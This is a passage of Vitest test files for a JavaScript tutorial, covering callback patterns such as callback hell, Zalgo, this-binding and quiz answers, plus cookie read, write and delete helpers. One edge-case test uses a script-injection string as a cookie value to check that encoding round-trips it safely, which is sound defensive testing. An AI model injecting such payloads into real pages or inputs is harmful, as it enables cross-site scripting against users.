0) } function handleError(err) { steps.push(`Error: ${err.message}`) rejected = true } // After: Named functions function handleData(err, data) { if (err) return handleError(err) processData(data, handleProcessed) } function handleProcessed(err, processed) { if (err) return handleError(err) saveData(processed, handleSaved) } function handleSaved(err) { if (err) return handleError(err) steps.push('Done!') expect(steps).toEqual([ 'getData', 'processData: data', 'saveData: processed', 'Done!' ]) resolve() } // Start the chain getData(handleData) }) }) // From lines 813-847: Strategy 2 - Early Returns it('should demonstrate early returns to reduce nesting', () => { return new Promise((resolve) => { const results = [] function validateUser(user, callback) { setTimeout(() => { callback(null, user.name !== '') }, 0) } function saveUser(user, callback) { setTimeout(() => { callback(null, { ...user, saved: true }) }, 0) } // Use early returns function processUser(user, callback) { validateUser(user, function(err, isValid) { if (err) return callback(err) if (!isValid) return callback(new Error('Invalid user')) saveUser(user, function(err, savedUser) { if (err) return callback(err) callback(null, savedUser) }) }) } processUser({ name: 'Alice' }, function(err, result) { expect(err).toBeNull() expect(result).toEqual({ name: 'Alice', saved: true }) // Test invalid user processUser({ name: '' }, function(err, result) { expect(err).toBeInstanceOf(Error) expect(err.message).toBe('Invalid user') resolve() }) }) }) }) // From lines 853-888: Strategy 3 - Modularization it('should demonstrate modularization to break up callback hell', () => { return new Promise((resolve) => { const steps = [] // auth.js function getUser(email, callback) { setTimeout(() => callback(null, { id: 1, email }), 0) } function verifyPassword(user, password, callback) { setTimeout(() => callback(null, password === 'secret'), 0) } function authenticateUser(credentials, callback) { getUser(credentials.email, function(err, user) { if (err) return callback(err) verifyPassword(user, credentials.password, function(err, isValid) { if (err) return callback(err) if (!isValid) return callback(new Error('Invalid password')) callback(null, user) }) }) } // profile.js function getProfile(userId, callback) { setTimeout(() => callback(null, { bio: 'Developer' }), 0) } function getSettings(userId, callback) { setTimeout(() => callback(null, { theme: 'dark' }), 0) } function loadUserProfile(userId, callback) { getProfile(userId, function(err, profile) { if (err) return callback(err) getSettings(userId, function(err, settings) { if (err) return callback(err) callback(null, { profile, settings }) }) }) } function handleError(err) { steps.push(`Error: ${err.message}`) } function renderDashboard(user, profile, settings) { steps.push(`Rendered dashboard for ${user.email}`) } // main.js const credentials = { email: 'alice@example.com', password: 'secret' } authenticateUser(credentials, function(err, user) { if (err) return handleError(err) loadUserProfile(user.id, function(err, data) { if (err) return handleError(err) renderDashboard(user, data.profile, data.settings) expect(steps).toEqual(['Rendered dashboard for alice@example.com']) resolve() }) }) }) }) }) // ============================================================ // COMMON CALLBACK MISTAKES // From callbacks.mdx lines 974-1121 // ============================================================ describe('Common Callback Mistakes', () => { beforeEach(() => { vi.useFakeTimers() }) afterEach(() => { vi.useRealTimers() }) // From lines 981-1001: Mistake 1 - Calling a Callback Multiple Times it('should demonstrate the problem of calling callbacks multiple times', () => { const results = [] // Wrong - callback called multiple times! function fetchDataWrong(url, callback) { // Simulating the wrong pattern from the docs callback(null, 'response') // Called on success // In the wrong code, .finally() would also call callback callback(null, 'done') // Called ALWAYS - even after success or error! } fetchDataWrong('http://example.com', (err, data) => { results.push(data) }) // Bug: callback was called twice! expect(results).toEqual(['response', 'done']) expect(results.length).toBe(2) }) // From lines 1003-1041: Mistake 2 - Zalgo (sync/async inconsistency) it('should demonstrate the Zalgo problem (inconsistent sync/async)', async () => { const cache = new Map() const order = [] // Wrong - sometimes sync, sometimes async (Zalgo!) function getData(key, callback) { if (cache.has(key)) { callback(null, cache.get(key)) // Sync! return } setTimeout(() => { const data = `data for ${key}` cache.set(key, data) callback(null, data) // Async! }, 0) } // This causes unpredictable behavior: let value = 'initial' getData('key1', function(err, data) { value = data }) order.push(`After first call: ${value}`) await vi.advanceTimersByTimeAsync(0) order.push(`After timer: ${value}`) // Second call - from cache (sync) getData('key1', function(err, data) { value = 'from cache' }) order.push(`After second call: ${value}`) // Inconsistent! First call: value changed after timer // Second call: value changed immediately expect(order).toEqual([ 'After first call: initial', // First call was async 'After timer: data for key1', // Value updated after timer 'After second call: from cache' // Second call was sync - immediate! ]) }) // From lines 1027-1041: Solution to Zalgo - always be async it('should demonstrate the solution to Zalgo - always async', async () => { const cache = new Map() const order = [] // Correct - always async function getData(key, callback) { if (cache.has(key)) { // Use setTimeout to make it async even when cached setTimeout(function() { callback(null, cache.get(key)) }, 0) return } setTimeout(() => { const data = `data for ${key}` cache.set(key, data) callback(null, data) }, 0) } let value = 'initial' // First call getData('key1', function(err, data) { value = data order.push(`callback1: ${value}`) }) order.push('after first call') await vi.advanceTimersByTimeAsync(0) // Second call (from cache, but still async) getData('key1', function(err, data) { value = 'from cache' order.push(`callback2: ${value}`) }) order.push('after second call') await vi.advanceTimersByTimeAsync(0) // Consistent ordering! Both callbacks run after their respective calls expect(order).toEqual([ 'after first call', 'callback1: data for key1', 'after second call', 'callback2: from cache' ]) }) // From lines 1043-1092: Mistake 3 - Losing `this` Context it('should demonstrate losing this context with regular function callbacks', async () => { // Wrong - this is undefined/global const user = { name: 'Alice', greetLater: function() { return new Promise(resolve => { setTimeout(function() { // 'this' is undefined in strict mode resolve(this?.name) // this.name is undefined! }, 1000) }) } } const promise = user.greetLater() await vi.advanceTimersByTimeAsync(1000) const result = await promise expect(result).toBeUndefined() // "Hello, undefined!" }) it('should preserve this context with arrow function callbacks', async () => { // Correct - Use arrow function (inherits this) const user = { name: 'Alice', greetLater: function() { return new Promise(resolve => { setTimeout(() => { resolve(`Hello, ${this.name}!`) // Arrow function keeps this }, 1000) }) } } const promise = user.greetLater() await vi.advanceTimersByTimeAsync(1000) const result = await promise expect(result).toBe('Hello, Alice!') }) it('should preserve this context with bind', async () => { // Correct - Use bind const user = { name: 'Alice', greetLater: function() { return new Promise(resolve => { setTimeout(function() { resolve(`Hello, ${this.name}!`) }.bind(this), 1000) // Explicitly bind this }) } } const promise = user.greetLater() await vi.advanceTimersByTimeAsync(1000) const result = await promise expect(result).toBe('Hello, Alice!') }) it('should preserve this context by saving reference', async () => { // Correct - Save reference to this const user = { name: 'Alice', greetLater: function() { const self = this // Save reference return new Promise(resolve => { setTimeout(function() { resolve(`Hello, ${self.name}!`) }, 1000) }) } } const promise = user.greetLater() await vi.advanceTimersByTimeAsync(1000) const result = await promise expect(result).toBe('Hello, Alice!') }) }) // ============================================================ // TEST YOUR KNOWLEDGE // From callbacks.mdx lines 1260-1371 // ============================================================ describe('Test Your Knowledge', () => { beforeEach(() => { vi.useFakeTimers() }) afterEach(() => { vi.useRealTimers() }) // From lines 1260-1285: Question 3 - What's the output of this code? it('Question 3: What is the output order? A, C, E, B, D', async () => { const output = [] output.push('A') setTimeout(() => output.push('B'), 0) output.push('C') setTimeout(() => output.push('D'), 0) output.push('E') // Before timers: A, C, E expect(output).toEqual(['A', 'C', 'E']) await vi.advanceTimersByTimeAsync(0) // Answer: A, C, E, B, D // // Explanation: // 1. console.log('A') - sync, runs immediately -> "A" // 2. setTimeout(..., 0) - registers callback B, continues // 3. console.log('C') - sync, runs immediately -> "C" // 4. setTimeout(..., 0) - registers callback D, continues // 5. console.log('E') - sync, runs immediately -> "E" // 6. Call stack empty -> event loop runs callback B -> "B" // 7. Event loop runs callback D -> "D" // // Even with 0ms delay, setTimeout callbacks run after all sync code. expect(output).toEqual(['A', 'C', 'E', 'B', 'D']) }) // From lines 1287-1316: Question 4 - How can you preserve `this` context? it('Question 4: Three ways to preserve this context', async () => { // 1. Arrow functions (recommended) const obj1 = { name: 'Alice', greet() { return new Promise(resolve => { setTimeout(() => { resolve(this.name) // "Alice" }, 100) }) } } // 2. Using bind() const obj2 = { name: 'Alice', greet() { return new Promise(resolve => { setTimeout(function() { resolve(this.name) }.bind(this), 100) }) } } // 3. Saving a reference const obj3 = { name: 'Alice', greet() { const self = this return new Promise(resolve => { setTimeout(function() { resolve(self.name) }, 100) }) } } const promise1 = obj1.greet() const promise2 = obj2.greet() const promise3 = obj3.greet() await vi.advanceTimersByTimeAsync(100) expect(await promise1).toBe('Alice') expect(await promise2).toBe('Alice') expect(await promise3).toBe('Alice') }) // From lines 1318-1342: Question 5 - Why can't you use try/catch with async callbacks? it('Question 5: try/catch cannot catch async callback errors', async () => { // The try/catch block executes synchronously. By the time an async // callback runs, the try/catch is long gone - it's on a different // "turn" of the event loop. let tryCatchExecuted = false const callbackExecuted = vi.fn() try { setTimeout(() => { callbackExecuted() // throw new Error('Async error!') // This escapes! }, 100) } catch (e) { // This NEVER catches the error tryCatchExecuted = true } // The error crashes the program because: // 1. try/catch runs immediately // 2. setTimeout registers callback and returns // 3. try/catch completes (nothing thrown yet!) // 4. 100ms later, callback runs and throws // 5. No try/catch exists at that point expect(tryCatchExecuted).toBe(false) expect(callbackExecuted).not.toHaveBeenCalled() await vi.advanceTimersByTimeAsync(100) // Callback ran, but try/catch is long gone expect(callbackExecuted).toHaveBeenCalled() expect(tryCatchExecuted).toBe(false) // Still false! }) // From lines 1344-1370: Question 6 - Three ways to avoid callback hell it('Question 6: Three ways to avoid callback hell', async () => { const steps = [] function getUser(userId, callback) { setTimeout(() => callback(null, { id: userId, name: 'Alice' }), 0) } function getProfile(userId, callback) { setTimeout(() => callback(null, { bio: 'Developer' }), 0) } function handleError(err) { steps.push(`Error: ${err.message}`) } // 1. Named functions - Extract callbacks into named functions function handleUser(err, user) { if (err) return handleError(err) getProfile(user.id, handleProfile) } function handleProfile(err, profile) { if (err) return handleError(err) steps.push(`Got profile: ${profile.bio}`) } // Start the chain getUser(123, handleUser) // Advance timers to let callbacks execute // Need to run all pending timers (nested setTimeouts) await vi.runAllTimersAsync() expect(steps).toEqual(['Got profile: Developer']) // Other approaches mentioned in docs: // 2. Modularization - Split into separate modules/functions // 3. Promises/async-await - Use modern async patterns }) }) // ============================================================ // ADDITIONAL EDGE CASES // ============================================================ describe('Additional Edge Cases', () => { beforeEach(() => { vi.useFakeTimers() }) afterEach(() => { vi.useRealTimers() }) it('should handle nested setTimeout callbacks', async () => { const order = [] setTimeout(() => { order.push('first') setTimeout(() => { order.push('second') setTimeout(() => { order.push('third') }, 100) }, 100) }, 100) await vi.advanceTimersByTimeAsync(100) expect(order).toEqual(['first']) await vi.advanceTimersByTimeAsync(100) expect(order).toEqual(['first', 'second']) await vi.advanceTimersByTimeAsync(100) expect(order).toEqual(['first', 'second', 'third']) }) it('should demonstrate callback with multiple array methods chained', () => { const numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] // Each method accepts a callback const result = numbers .filter(n => n % 2 === 0) // Keep evens: [2, 4, 6, 8, 10] .map(n => n * 2) // Double: [4, 8, 12, 16, 20] .reduce((sum, n) => sum + n, 0) // Sum: 60 expect(result).toBe(60) }) it('should demonstrate once-only callback pattern', () => { function once(callback) { let called = false return function(...args) { if (called) return called = true return callback.apply(this, args) } } let callCount = 0 const onceCallback = once(() => { callCount++ return 'result' }) expect(onceCallback()).toBe('result') expect(onceCallback()).toBeUndefined() expect(onceCallback()).toBeUndefined() expect(callCount).toBe(1) }) it('should demonstrate closure issues with var in loops', async () => { const results = [] // Wrong with var - all callbacks see final value for (var i = 0; i < 3; i++) { setTimeout(() => results.push(`var: ${i}`), 100) } await vi.advanceTimersByTimeAsync(100) // All see i = 3 (the final value after loop completes) expect(results).toEqual(['var: 3', 'var: 3', 'var: 3']) }) it('should demonstrate closure fix with let in loops', async () => { const results = [] // Correct with let - each iteration gets its own i for (let i = 0; i < 3; i++) { setTimeout(() => results.push(`let: ${i}`), 100) } await vi.advanceTimersByTimeAsync(100) expect(results).toEqual(['let: 0', 'let: 1', 'let: 2']) }) }) }) ================================================ FILE: tests/beyond/browser-storage/cookies/cookies.dom.test.js ================================================ /** * @vitest-environment jsdom */ import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest' // ============================================================ // COOKIES DOM TESTS // Tests for code examples from cookies.mdx that require browser APIs // ============================================================ describe('Cookies - DOM', () => { // ============================================================ // SETUP AND CLEANUP // ============================================================ beforeEach(() => { // Clear all cookies before each test document.cookie.split(";").forEach(cookie => { const name = cookie.split("=")[0].trim() document.cookie = `${name}=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/` }) }) afterEach(() => { // Clean up after each test document.cookie.split(";").forEach(cookie => { const name = cookie.split("=")[0].trim() document.cookie = `${name}=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/` }) vi.restoreAllMocks() }) // ============================================================ // SETTING COOKIES WITH JAVASCRIPT // From cookies.mdx lines 71-88 // ============================================================ describe('Setting Cookies with JavaScript', () => { // From lines 71-79: Basic cookie syntax it('should set a simple cookie', () => { document.cookie = "username=Alice" expect(document.cookie).toContain("username=Alice") }) it('should add multiple cookies without overwriting', () => { // From lines 74-79: Multiple assignments add cookies document.cookie = "a=1" document.cookie = "b=2" document.cookie = "c=3" expect(document.cookie).toContain("a=1") expect(document.cookie).toContain("b=2") expect(document.cookie).toContain("c=3") }) it('should update existing cookie with same name', () => { document.cookie = "theme=light" document.cookie = "theme=dark" // Should only have one "theme" cookie const matches = document.cookie.match(/theme=/g) expect(matches).toHaveLength(1) expect(document.cookie).toContain("theme=dark") }) }) // ============================================================ // THE QUIRKY NATURE OF document.cookie // From cookies.mdx lines 81-91 // ============================================================ describe('document.cookie Quirks', () => { // From lines 81-91: Setting vs reading behavior it('should return all cookies when reading', () => { document.cookie = "first=1" document.cookie = "second=2" const cookies = document.cookie expect(typeof cookies).toBe("string") expect(cookies).toContain("first=1") expect(cookies).toContain("second=2") }) it('should not allow direct property access', () => { document.cookie = "test=value" // document.cookie.test doesn't work expect(document.cookie.test).toBeUndefined() }) }) // ============================================================ // READING COOKIES // From cookies.mdx lines 106-147 // ============================================================ describe('Reading Cookies', () => { // From lines 106-117: getCookie implementation describe('getCookie function', () => { function getCookie(name) { const cookies = document.cookie.split("; ") for (const cookie of cookies) { const [cookieName, cookieValue] = cookie.split("=") if (cookieName === name) { return decodeURIComponent(cookieValue) } } return null } it('should retrieve a cookie by name', () => { document.cookie = "username=Alice" expect(getCookie("username")).toBe("Alice") }) it('should return null for missing cookies', () => { expect(getCookie("nonexistent")).toBeNull() }) it('should decode encoded values', () => { document.cookie = `message=${encodeURIComponent("Hello, World!")}` expect(getCookie("message")).toBe("Hello, World!") }) }) // From lines 121-136: parseCookies implementation describe('parseCookies function', () => { function parseCookies() { return document.cookie .split("; ") .filter(Boolean) .reduce((cookies, cookie) => { const [name, ...valueParts] = cookie.split("=") const value = valueParts.join("=") cookies[name] = decodeURIComponent(value) return cookies }, {}) } it('should parse all cookies into an object', () => { document.cookie = "a=1" document.cookie = "b=2" document.cookie = "c=3" const cookies = parseCookies() expect(cookies.a).toBe("1") expect(cookies.b).toBe("2") expect(cookies.c).toBe("3") }) it('should return empty object when no cookies', () => { // Cookies should be cleared by beforeEach const cookies = parseCookies() expect(Object.keys(cookies).length).toBe(0) }) }) // From lines 140-147: hasCookie implementation describe('hasCookie function', () => { function hasCookie(name) { return document.cookie .split("; ") .some(cookie => cookie.startsWith(`${name}=`)) } it('should return true for existing cookies', () => { document.cookie = "sessionId=abc123" expect(hasCookie("sessionId")).toBe(true) }) it('should return false for missing cookies', () => { expect(hasCookie("nonexistent")).toBe(false) }) }) }) // ============================================================ // WRITING COOKIES WITH HELPER FUNCTION // From cookies.mdx lines 153-196 // ============================================================ describe('setCookie Helper Function', () => { // From lines 153-196: Complete setCookie implementation function setCookie(name, value, options = {}) { const defaults = { path: "/" } const settings = { ...defaults, ...options } let cookieString = `${encodeURIComponent(name)}=${encodeURIComponent(value)}` if (settings.maxAge !== undefined) { cookieString += `; max-age=${settings.maxAge}` } else if (settings.expires instanceof Date) { cookieString += `; expires=${settings.expires.toUTCString()}` } if (settings.path) { cookieString += `; path=${settings.path}` } document.cookie = cookieString } it('should set a basic cookie', () => { setCookie("test", "value") expect(document.cookie).toContain("test=value") }) it('should set cookie with max-age', () => { setCookie("temp", "data", { maxAge: 3600 }) expect(document.cookie).toContain("temp=data") }) it('should encode special characters', () => { setCookie("message", "Hello, World!") // The cookie should be set (browser decodes when reading) expect(document.cookie).toContain("message=") }) it('should overwrite existing cookie', () => { setCookie("key", "old") setCookie("key", "new") // Should only have one occurrence const matches = document.cookie.match(/key=/g) expect(matches).toHaveLength(1) }) }) // ============================================================ // DELETING COOKIES // From cookies.mdx lines 201-220 // ============================================================ describe('Deleting Cookies', () => { // From lines 201-220: deleteCookie implementation function setCookie(name, value, options = {}) { const defaults = { path: "/" } const settings = { ...defaults, ...options } let cookieString = `${encodeURIComponent(name)}=${encodeURIComponent(value)}` if (settings.maxAge !== undefined) { cookieString += `; max-age=${settings.maxAge}` } if (settings.path) { cookieString += `; path=${settings.path}` } document.cookie = cookieString } function deleteCookie(name, options = {}) { setCookie(name, "", { ...options, maxAge: 0 }) } it('should delete a cookie by setting max-age=0', () => { // First, set a cookie document.cookie = "toDelete=value; path=/" expect(document.cookie).toContain("toDelete=value") // Delete it deleteCookie("toDelete") // Should be gone expect(document.cookie).not.toContain("toDelete=value") }) it('should delete cookie using past expiration date', () => { document.cookie = "oldCookie=data; path=/" expect(document.cookie).toContain("oldCookie=data") document.cookie = "oldCookie=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/" expect(document.cookie).not.toContain("oldCookie=data") }) }) // ============================================================ // COOKIE ATTRIBUTES // From cookies.mdx lines 269-383 // ============================================================ describe('Cookie Attributes', () => { // From lines 275-293: max-age attribute describe('max-age', () => { it('should accept max-age in seconds', () => { // 1 hour = 3600 seconds document.cookie = "hourly=data; max-age=3600; path=/" expect(document.cookie).toContain("hourly=data") }) it('should delete cookie with max-age=0', () => { document.cookie = "temp=value; path=/" document.cookie = "temp=; max-age=0; path=/" expect(document.cookie).not.toContain("temp=value") }) it('should delete cookie with negative max-age', () => { document.cookie = "temp=value; path=/" document.cookie = "temp=; max-age=-1; path=/" expect(document.cookie).not.toContain("temp=value") }) }) // From lines 295-307: expires attribute describe('expires', () => { it('should accept UTC date string', () => { const futureDate = new Date() futureDate.setTime(futureDate.getTime() + 24 * 60 * 60 * 1000) document.cookie = `future=data; expires=${futureDate.toUTCString()}; path=/` expect(document.cookie).toContain("future=data") }) it('should delete with past expiration date', () => { document.cookie = "past=data; path=/" document.cookie = "past=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/" expect(document.cookie).not.toContain("past=data") }) }) // From lines 309-343: path attribute describe('path', () => { it('should set cookie with specific path', () => { // Note: jsdom doesn't fully support path restrictions // Cookies with non-root paths may not be accessible // This tests the cookie string format instead const cookieString = "appToken=abc; path=/app" expect(cookieString).toContain("path=/app") expect(cookieString).toContain("appToken=abc") }) it('should set cookie with root path', () => { document.cookie = "rootToken=xyz; path=/" expect(document.cookie).toContain("rootToken=xyz") }) }) }) // ============================================================ // SECURITY ATTRIBUTES (where testable) // From cookies.mdx lines 385-470 // ============================================================ describe('Security Attributes', () => { // Note: Many security attributes can't be fully tested in jsdom // These tests verify the cookie string format describe('SameSite attribute formatting', () => { it('should format samesite=strict correctly', () => { const cookieString = "session=abc; samesite=strict" expect(cookieString).toContain("samesite=strict") }) it('should format samesite=lax correctly', () => { const cookieString = "session=abc; samesite=lax" expect(cookieString).toContain("samesite=lax") }) it('should format samesite=none with secure', () => { const cookieString = "widget=abc; samesite=none; secure" expect(cookieString).toContain("samesite=none") expect(cookieString).toContain("secure") }) }) }) // ============================================================ // INTEGRATION TESTS // Combined functionality from multiple sections // ============================================================ describe('Integration Tests', () => { it('should round-trip JSON data through cookies', () => { const userData = { name: "Alice", role: "admin" } const encoded = encodeURIComponent(JSON.stringify(userData)) document.cookie = `user=${encoded}; path=/` // Read it back function getCookie(name) { const cookies = document.cookie.split("; ") for (const cookie of cookies) { const [cookieName, cookieValue] = cookie.split("=") if (cookieName === name) { return decodeURIComponent(cookieValue) } } return null } const retrieved = getCookie("user") const parsed = JSON.parse(retrieved) expect(parsed).toEqual(userData) }) it('should manage multiple cookies for a user session', () => { // Set session cookies document.cookie = "userId=12345; path=/" document.cookie = "theme=dark; path=/" document.cookie = "lang=en; path=/" // Read all function parseCookies() { return document.cookie .split("; ") .filter(Boolean) .reduce((cookies, cookie) => { const [name, ...valueParts] = cookie.split("=") const value = valueParts.join("=") cookies[name] = decodeURIComponent(value) return cookies }, {}) } const cookies = parseCookies() expect(cookies.userId).toBe("12345") expect(cookies.theme).toBe("dark") expect(cookies.lang).toBe("en") // Update one document.cookie = "theme=light; path=/" const updated = parseCookies() expect(updated.theme).toBe("light") expect(updated.userId).toBe("12345") // Others unchanged }) it('should handle cookie lifecycle: create, read, update, delete', () => { function getCookie(name) { const cookies = document.cookie.split("; ") for (const cookie of cookies) { const [cookieName, cookieValue] = cookie.split("=") if (cookieName === name) { return decodeURIComponent(cookieValue) } } return null } // Create document.cookie = "lifecycle=created; path=/" expect(getCookie("lifecycle")).toBe("created") // Read (tested above) // Update document.cookie = "lifecycle=updated; path=/" expect(getCookie("lifecycle")).toBe("updated") // Delete document.cookie = "lifecycle=; max-age=0; path=/" expect(getCookie("lifecycle")).toBeNull() }) }) // ============================================================ // EDGE CASES IN DOM ENVIRONMENT // ============================================================ describe('DOM Edge Cases', () => { it('should handle cookies with empty values', () => { document.cookie = "empty=; path=/" function getCookie(name) { const cookies = document.cookie.split("; ") for (const cookie of cookies) { const [cookieName, cookieValue] = cookie.split("=") if (cookieName === name) { return cookieValue || "" } } return null } // Empty cookie might not be stored or returned as empty string const value = getCookie("empty") expect(value === "" || value === null).toBe(true) }) it('should handle rapid cookie updates', () => { for (let i = 0; i < 10; i++) { document.cookie = `counter=${i}; path=/` } function getCookie(name) { const cookies = document.cookie.split("; ") for (const cookie of cookies) { const [cookieName, cookieValue] = cookie.split("=") if (cookieName === name) { return cookieValue } } return null } expect(getCookie("counter")).toBe("9") // Last value }) it('should handle special characters after encoding', () => { const specialValue = "test<script>alert('xss')</script>" document.cookie = `safe=${encodeURIComponent(specialValue)}; path=/` function getCookie(name) { const cookies = document.cookie.split("; ") for (const cookie of cookies) { const [cookieName, cookieValue] = cookie.split("=") if (cookieName === name) { return decodeURIComponent(cookieValue) } } return null } const retrieved = getCookie("safe") expect(retrieved).toBe(specialValue) }) }) }) ================================================ FILE: tests/beyond/browser-storage/cookies/cookies.test.js ================================================ import { describe, it, expect } from 'vitest' // ============================================================ // COOKIES CONCEPT TESTS // Tests for code examples from cookies.mdx // Note: Most cookie operations require a browser environment. // These tests focus on the helper functions and logic that can // be tested without document.cookie. // ============================================================ describe('Cookies', () => { // ============================================================ // ENCODING SPECIAL CHARACTERS // From cookies.mdx lines 93-101 // ============================================================ describe('Encoding Special Characters', () => { // From lines 93-101: encodeURIComponent for cookie values it('should encode special characters in cookie values', () => { const value = "Hello, World!" const encoded = encodeURIComponent(value) expect(encoded).toBe("Hello%2C%20World!") }) it('should decode encoded cookie values', () => { const encoded = "Hello%2C%20World!" const decoded = decodeURIComponent(encoded) expect(decoded).toBe("Hello, World!") }) it('should handle values with semicolons', () => { const value = "key=value;another=test" const encoded = encodeURIComponent(value) expect(encoded).toBe("key%3Dvalue%3Banother%3Dtest") expect(decodeURIComponent(encoded)).toBe(value) }) it('should handle values with spaces', () => { const value = "hello world" const encoded = encodeURIComponent(value) expect(encoded).toBe("hello%20world") }) it('should handle empty strings', () => { expect(encodeURIComponent("")).toBe("") expect(decodeURIComponent("")).toBe("") }) it('should handle unicode characters', () => { const value = "Hello, " const encoded = encodeURIComponent(value) expect(encoded).not.toBe(value) expect(decodeURIComponent(encoded)).toBe(value) }) }) // ============================================================ // READING COOKIES - PARSER FUNCTIONS // From cookies.mdx lines 106-138 // ============================================================ describe('Cookie Parser Functions', () => { // From lines 106-117: getCookie function describe('getCookie', () => { function getCookie(cookieString, name) { const cookies = cookieString.split("; ") for (const cookie of cookies) { const [cookieName, cookieValue] = cookie.split("=") if (cookieName === name) { return decodeURIComponent(cookieValue) } } return null } it('should return the value of an existing cookie', () => { const cookieString = "username=Alice; theme=dark; lang=en" expect(getCookie(cookieString, "username")).toBe("Alice") expect(getCookie(cookieString, "theme")).toBe("dark") expect(getCookie(cookieString, "lang")).toBe("en") }) it('should return null for non-existent cookie', () => { const cookieString = "username=Alice; theme=dark" expect(getCookie(cookieString, "nonexistent")).toBeNull() }) it('should handle empty cookie string', () => { expect(getCookie("", "username")).toBeNull() }) it('should decode encoded cookie values', () => { const cookieString = "message=Hello%2C%20World!" expect(getCookie(cookieString, "message")).toBe("Hello, World!") }) it('should handle single cookie', () => { const cookieString = "only=one" expect(getCookie(cookieString, "only")).toBe("one") }) }) // From lines 121-136: parseCookies function describe('parseCookies', () => { function parseCookies(cookieString) { return cookieString .split("; ") .filter(Boolean) .reduce((cookies, cookie) => { const [name, ...valueParts] = cookie.split("=") const value = valueParts.join("=") cookies[name] = decodeURIComponent(value) return cookies }, {}) } it('should parse multiple cookies into an object', () => { const cookieString = "username=Alice; theme=dark; lang=en" const cookies = parseCookies(cookieString) expect(cookies).toEqual({ username: "Alice", theme: "dark", lang: "en" }) }) it('should handle empty cookie string', () => { expect(parseCookies("")).toEqual({}) }) it('should handle values containing equals signs', () => { const cookieString = "data=a=1&b=2" const cookies = parseCookies(cookieString) expect(cookies.data).toBe("a=1&b=2") }) it('should decode encoded values', () => { const cookieString = "message=Hello%2C%20World!" const cookies = parseCookies(cookieString) expect(cookies.message).toBe("Hello, World!") }) it('should handle single cookie', () => { const cookieString = "single=value" const cookies = parseCookies(cookieString) expect(cookies).toEqual({ single: "value" }) }) }) // From lines 140-147: hasCookie function describe('hasCookie', () => { function hasCookie(cookieString, name) { return cookieString .split("; ") .some(cookie => cookie.startsWith(`${name}=`)) } it('should return true if cookie exists', () => { const cookieString = "username=Alice; theme=dark" expect(hasCookie(cookieString, "username")).toBe(true) expect(hasCookie(cookieString, "theme")).toBe(true) }) it('should return false if cookie does not exist', () => { const cookieString = "username=Alice; theme=dark" expect(hasCookie(cookieString, "nonexistent")).toBe(false) }) it('should not match partial cookie names', () => { const cookieString = "username=Alice" expect(hasCookie(cookieString, "user")).toBe(false) }) it('should handle empty cookie string', () => { expect(hasCookie("", "username")).toBe(false) }) }) }) // ============================================================ // COOKIE STRING BUILDING // From cookies.mdx lines 153-196 // ============================================================ describe('Cookie String Building', () => { // From lines 153-196: setCookie function (without document.cookie) describe('buildCookieString helper', () => { function buildCookieString(name, value, options = {}) { const defaults = { path: "/", secure: true, sameSite: "lax" } const settings = { ...defaults, ...options } let cookieString = `${encodeURIComponent(name)}=${encodeURIComponent(value)}` if (settings.maxAge !== undefined) { cookieString += `; max-age=${settings.maxAge}` } else if (settings.expires instanceof Date) { cookieString += `; expires=${settings.expires.toUTCString()}` } if (settings.path) { cookieString += `; path=${settings.path}` } if (settings.domain) { cookieString += `; domain=${settings.domain}` } if (settings.secure) { cookieString += "; secure" } if (settings.sameSite) { cookieString += `; samesite=${settings.sameSite}` } return cookieString } it('should build a basic cookie string with defaults', () => { const result = buildCookieString("username", "Alice") expect(result).toContain("username=Alice") expect(result).toContain("path=/") expect(result).toContain("secure") expect(result).toContain("samesite=lax") }) it('should include max-age when specified', () => { const result = buildCookieString("token", "abc", { maxAge: 86400 }) expect(result).toContain("max-age=86400") }) it('should include expires date when specified', () => { const expDate = new Date("2025-12-31T00:00:00Z") const result = buildCookieString("token", "abc", { expires: expDate }) expect(result).toContain("expires=") expect(result).toContain("Wed, 31 Dec 2025") }) it('should prefer max-age over expires when both provided', () => { const expDate = new Date("2025-12-31T00:00:00Z") const result = buildCookieString("token", "abc", { maxAge: 86400, expires: expDate }) expect(result).toContain("max-age=86400") expect(result).not.toContain("expires=") }) it('should include domain when specified', () => { const result = buildCookieString("token", "abc", { domain: "example.com" }) expect(result).toContain("domain=example.com") }) it('should allow overriding path', () => { const result = buildCookieString("token", "abc", { path: "/app" }) expect(result).toContain("path=/app") expect(result).not.toContain("path=/;") }) it('should omit secure flag when set to false', () => { const result = buildCookieString("token", "abc", { secure: false }) expect(result).not.toContain("secure") }) it('should encode special characters in name and value', () => { const result = buildCookieString("user name", "Hello, World!") expect(result).toContain("user%20name=Hello%2C%20World!") }) it('should handle sameSite=strict', () => { const result = buildCookieString("token", "abc", { sameSite: "strict" }) expect(result).toContain("samesite=strict") }) it('should handle sameSite=none', () => { const result = buildCookieString("token", "abc", { sameSite: "none" }) expect(result).toContain("samesite=none") }) it('should handle deletion (max-age=0)', () => { const result = buildCookieString("token", "", { maxAge: 0 }) expect(result).toContain("max-age=0") }) }) }) // ============================================================ // DATE FORMATTING FOR EXPIRES // From cookies.mdx lines 282-301 // ============================================================ describe('Expiration Date Handling', () => { // From lines 282-301: expires date formatting it('should format date correctly for cookies', () => { const date = new Date("2025-01-15T12:00:00Z") const formatted = date.toUTCString() expect(formatted).toBe("Wed, 15 Jan 2025 12:00:00 GMT") }) it('should calculate date 7 days from now', () => { const now = new Date("2025-01-01T00:00:00Z") const sevenDaysLater = new Date(now.getTime() + 7 * 24 * 60 * 60 * 1000) expect(sevenDaysLater.toISOString()).toBe("2025-01-08T00:00:00.000Z") }) it('should handle past dates for deletion', () => { const pastDate = new Date("1970-01-01T00:00:00Z") const formatted = pastDate.toUTCString() expect(formatted).toBe("Thu, 01 Jan 1970 00:00:00 GMT") }) it('should calculate max-age in seconds', () => { const oneHour = 60 * 60 // 3600 seconds const oneDay = 24 * 60 * 60 // 86400 seconds const oneWeek = 7 * 24 * 60 * 60 // 604800 seconds const oneYear = 365 * 24 * 60 * 60 // 31536000 seconds expect(oneHour).toBe(3600) expect(oneDay).toBe(86400) expect(oneWeek).toBe(604800) expect(oneYear).toBe(31536000) }) }) // ============================================================ // PATH MATCHING LOGIC // From cookies.mdx lines 315-340 // ============================================================ describe('Path Matching', () => { // From lines 315-340: Path attribute behavior function pathMatches(cookiePath, requestPath) { // Normalize paths if (!cookiePath.endsWith('/')) { cookiePath = 